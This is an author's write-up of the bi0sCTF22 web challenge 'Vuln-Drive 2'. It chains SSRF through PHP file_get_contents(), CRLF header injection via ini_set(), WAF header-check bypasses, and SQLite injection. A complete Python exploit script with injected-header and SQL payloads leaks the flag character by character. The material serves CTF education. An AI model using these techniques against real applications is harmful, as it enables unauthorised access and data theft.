Vuln-Drive 2 - bi0sCTF22


tl;dr

  • SSRF using file_get_contents() and CRLF in ini_set()
  • basic Header quirks to bypass waf
  • sqli using column trick in SQLite to get the flag

Challenge Points: 964
No. of solves: 10

Challenge Description

This year we build a new Drive application for you. I think it’s better than last year’s.

Download the source from link

Analysis

The best way to start with the challenge was to analyze the source code provided.

Going through the source we have a docker-compose.yml file, which has three service in it namely frontend,waf,app

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
services:
frontend:
build: ./php
ports:
- 8000:80
...
networks:
- frontend

waf:
build: ./waf
networks:
- frontend
- backend
...
on-failure
app:
build: ./app
environment:
- FLAG=fakeflag
networks:
- backend
...
networks:
frontend:
backend:

The frontend is exposed on port 8000, which we can access directly and the network structure is like frontend can access the waf and only waf can access the app which has the flag. So the goal of the challenge was to access app through waf from the frontend and get the flag, as simple as that!!. But it was not as easy as we think.

Now we will go through exploiting each service one by one to get the flag.

Frontend

The frontend service is a PHP application, which can do the following:

  • login.php - Login with a username, which will be stored in the session
  • index.php - create a new folder(name we can control) and upload files to a folder
  • view.php - view uploaded file by filename

while logging in, the application will create a folder under the name ./uploads/session_id() to which we can create folders and uploads files later and that folder location will be stored in session['folder'].

When we create a new folder or upload file there is a check_name function to check whether the file/folder name has any path traversal characters like . or / etc.

there is also a .htaccess file in uploads directory which is preventing us from accessing uploaded files directly. so if we can upload .php file (which is possible because there is no check on extension while uploading the file) we won’t be able to access it directly

Our goal is to somehow access the waf service, so basically we need to get SSRF. If you know about PHP, one of the interesting vectors for SSRF in PHP is file_get_contents().Other than filepaths this function also accepts URL as an argument. Grep for the function in the source and in view.php

1
2
3
4
5
6
7
8
9
10
if(isset($_GET['file'])){
$file = $_GET['file'];
$ext = explode('.', $file);
$type = substr(strtolower(end($ext)),0,3);
$file = $FOLDER."/".$file;
if($type==="txt"){
try {
if(file_exists($file)){
chdir($FOLDER);
echo file_get_contents($_GET['file']);

There is file_get_contents with GET file parameter as input, can we give URL in file parameter?

Yes, But we have to pass the file_exists check, and type check to reach the file_get_contents. The file_exists check is done on our session folder, after that the application will change directory to our session folder and calls file_get_contents on the file parameter. So we can construct URL using folder and file names inside our session folder.

So to construct the protocol part of url we can just create a folder named http: inside our directory and we can give http://filename in file parameter. Then $file will become $FOLDER/http://filename which is the same as $FOLDER/http:/filename and will pass the file_exists check.

The next challenge is that if we want to send requests to a WAF, the hostname(after the protocol) of the URL must be set to waf.However, after the protocol, we have to give a valid filename in that directory to pass the file_exists check. So we can’t directly give http://waf.

1
2
3
4
5
6
7
8
if($fileSize < 100000){
$name = uniqid('', true).".".$fileActualExt;
$fileDestination = $FOLDER.$_POST['path'];
upload($file['tmp_name'], $fileDestination,$name);
header("Location: index.php?uploadsuccess");
}else{
$error = "Your file is too big!";
}

We cannot control the filename because it’s a unique name created by the application itself when uploading the file, But we can control the extension of the filename. We can give@waf in the extension to get SSRF as the rest of the part before the @ will be treated as the username part of the URL. To pass the type check we can give txt@waf as an extension as the check is only done for the first three characters of the extension.
so the URL will look like http://filename.txt@waf

Another thing to note is that, In the utils.php, there is ini_set('from',SESSION['username']) in the report function, which is vulnerable to CRLF injection, using that we can get header injection. As this file is included in the view.php we just have to trigger the report() function by giving an invalid folder name.

WAF

The waf service is a go web application that will proxy requests to the app service when the path is /. It has some headers checks which we have to bypass.

In app we can see that we have to pass the below Header checks to get the main functionality of the app

1
if request.headers.get("X-pro-hacker")=="Pro-hacker" and "gimme" in request.headers.get("flag")

we have to pass X-pro-hacker header with the value Pro-hacker and flag header with the value gimme in it as the check is using in operator.

But in waf the check is the following:

1
2
3
4
5
6
7
8
if(r.Header.Get("X-pro-hacker")!=""){
fmt.Fprintf(w, "Hello Hacker!\n")
return
}
if(strings.Contains(r.Header.Get("flag"), "gimme")){
fmt.Fprintf(w, "No flag For you!\n")
return
}

we are not allowed to pass any value in X-pro-hacker header and flag header should not contain the word gimme.

To bypass the checks :

  • Use X_pro-hacker as the header name instead of X-pro-hacker. When the requests get to the Flask app the _ will be normalized to -.Reference
  • we can send two flag headers and set the value gimme in the second header as r.Header.Get(“flag”) only gets the value of the first header. But in the Flask app, it will concat the values of headers with the same name using ,.

app

This was the last part of the challenge. The app service was a Flask app with only one endpoint /, which only accepts GET requests. As mentioned above we can get pass the header checks in the app

There is an init_db() function that is used to initialize the database

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 CREATE TABLE IF NOT EXISTS users  (
username TEXT,
token TEXT
);
CREATE TABLE IF NOT EXISTS flag (
flag_is_here TEXT
);
Delete from users;
Delete from flag;
INSERT INTO users values ('user','some_randomtoken'),
('admi','some_randomtoken'),
(
'admin',
'{FLAG}'
);
INSERT INTO flag values ('{FLAG}');

we can see the flag is the both users table and flag table. our goal is to leak the flag from the database.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if request.headers.get("Token"):         
token = request.headers.get("Token")
token = token[:16]
token = token.replace(" ","").replace('"',"")
if request.form.get("user"):
user = request.form.get("user")
user = user[:38]
add_user(user,token)
query = f'SELECT * FROM users WHERE token="{token}"'
res = db_query(query)
res = res.fetchone()
return res[1] if res and len(res[0])>0 else "INDEX\n"
except Exception as e:
print(e)
return "INDEX\n"

The application will take the token header and fetch data from the database. Only 16 characters are allowed in the token. And if there is form data with user parameter, the application will call add_user funcition with the user and token. Here only 38 characters are allowed in the user parameter. If there is a matching token in the database and has a username it will return token from the database.

In Flask we can send form data in the body of GET request, we just have to add the header Content-Type: application/x-www-form-urlencoded in the request.

1
2
3
4
def add_user(user,token):
q = f"INSERT INTO users values ('{user}','{token}')"
db_query(q)
return

In the add_user() function, there is SQL injection possible. We can use the user parameter to inject the sqli payload, because token is used to retrieve data from the database. Using the following payload we can add a user with token as the character of the flag

a',substr((select*from flag),1,1));--

This payload is well inside the character limit.

Then we can just use the token to brute the flag character by character, when the right character is found the application will return the same, and INDEX\n is returned otherwise. Thus we can leak the flag.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import requests
import re
import string

#url = "http://localhost:8000"
url = "http://web.chall.bi0s.in:8000"

S = requests.Session()
S.get(url)
S.post(url+'/login.php',data = {"username": "asdf","submit":"submit"} )
S.get(url+'/index.php?new=http:')
S.post(url+"/index.php",files={"file":('asdf.txt@waf','abc.txt')}, data={"submit":"submit","path":"http:"})

files= S.get(url+"/view.php?fol=http:").text
file = re.findall("<a href='(.*?)'>",files)
file = f"http://{file[0].replace('/view.php?file=http:/','')}"
print(file)

payload = """hello
Host: localhost
X-pro_hacker: Pro-hacker
Token: {}
flag: hello
flag: gimme
Content-Type: application/x-www-form-urlencoded
Content-Length: 42

user=a',substr((select*from flag),{},1));--"""
flag = ""

for i in range(1,10):
for letter in "1234567890abcdef":
print("Trying....", letter)
p = payload.format(letter,str(i))
data = {"username": p.replace("\n","\r\n"),"submit":"submit"}

S.post(url+'/login.php',data = data )

res = S.get(url+f"/view.php?fol=.&file={file}").text

match = re.findall("not found</div>(.)",res)[0]
#print(res)
if letter == match:
flag += letter
print(flag)
break

flag

bi0sctf{dfae5409d}

conclusion

This challenge includes chaining different interesting vulnerabilities and tricks in different services together to get the flag. It was really fun and took me a lot of time to make the challenge. I learned a lot while making this challenge. Hope everyone enjoyed it :)